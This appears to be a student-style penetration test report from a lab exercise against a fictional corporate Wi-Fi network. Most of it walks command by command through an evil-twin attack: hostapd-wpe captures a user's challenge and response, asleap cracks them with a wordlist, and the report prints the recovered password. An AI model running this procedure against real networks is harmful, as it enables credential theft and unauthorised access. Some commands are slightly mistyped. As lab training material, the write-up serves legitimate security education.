Penetration Test Report

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Executive Summary

Background

The goal of this exercise is to test the efficiency and security of wireless access points kept in www.m3g4c0rp.com environment.

Recommendation Summary

The kali attack box will be used for this purpose.

Technical Report

Exploitation

Here , we initially typed the command ip a and saw that the interface wlan0 was down so we used the command airmon-ng start wlan0.

Then we used the command airmon-ng check kill to kill all the processes which might interfere.

Then we disable the interface eth0 by using the following command ifdown eth0.

Now , after typing the command airodump-ng wlan0mon we got to know the channel associated with the access point m3g4c0rp-ddwrt-0 which was found to be channel no 6.

Now , we configured the hostapd config file by using the following command:

vim /etc/hostapd-wpe/hostapd-wpe.conf

and edited the 802.11 options and changed the following details:

SSID:m3g4c0rp-ddwrt-0 and channel no as 6. interface:wlan0mon

Now, we used the following command to start up the fake access point:

hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Now after running this we found the challenge and response values for the username brian. Now , we used the challenge the challenge and response values as an input for asleap and used the following command:

zcat /usr/share/wordlists/rockyou.txt asleap -c f4:90:93:8d:10:cf:b1:c7 -R 84:61:f2:9f:c1:e1:5d:0e:7a:9b:50:ca:45:11:e2:0a:5b:9d:94:86:85:92:bb:b8 -W -

Now, after running the above command the password for the user brian was found to be swordfish99.

Now , we created a wpa supplicant file by by following the problem statement and connected to the network by running the following command in the directory /etc/dbus-1/system./

 $wpa_supplicant - iwlan0mon - c./wpa_supplicant.conf$

Now, we ran the command dhclient wlan0mon

Now, we used ip a and found that the interface wlan0mon had the IP address 192.168.1.119/24, now we added the default route by using the following command:

ip route add default via 192.168.1.1

Now, we browsed to the IP address 45.79.141.10 and looked at the source code of the page , we got to know that the the M3g4c0rp hidden pages were located at Corp/messages.txt , so we browsed to the website 45.79.141.10/Corp/message.txt and found the required key 20 as follows:

KEY20:uPPltoxqT1Uuj3jXmPeAuw==

The types of attacks can be mitigated by employing various security practices such as changing default Wi-Fi network names (SSIDs) and passwords, especially for bundled routers provided by service providers, to complex credentials to deter unauthorized access.

Conclusion

Hence ,we were able to test the efficiency of and security of these wireless access points and were able to find KEY20.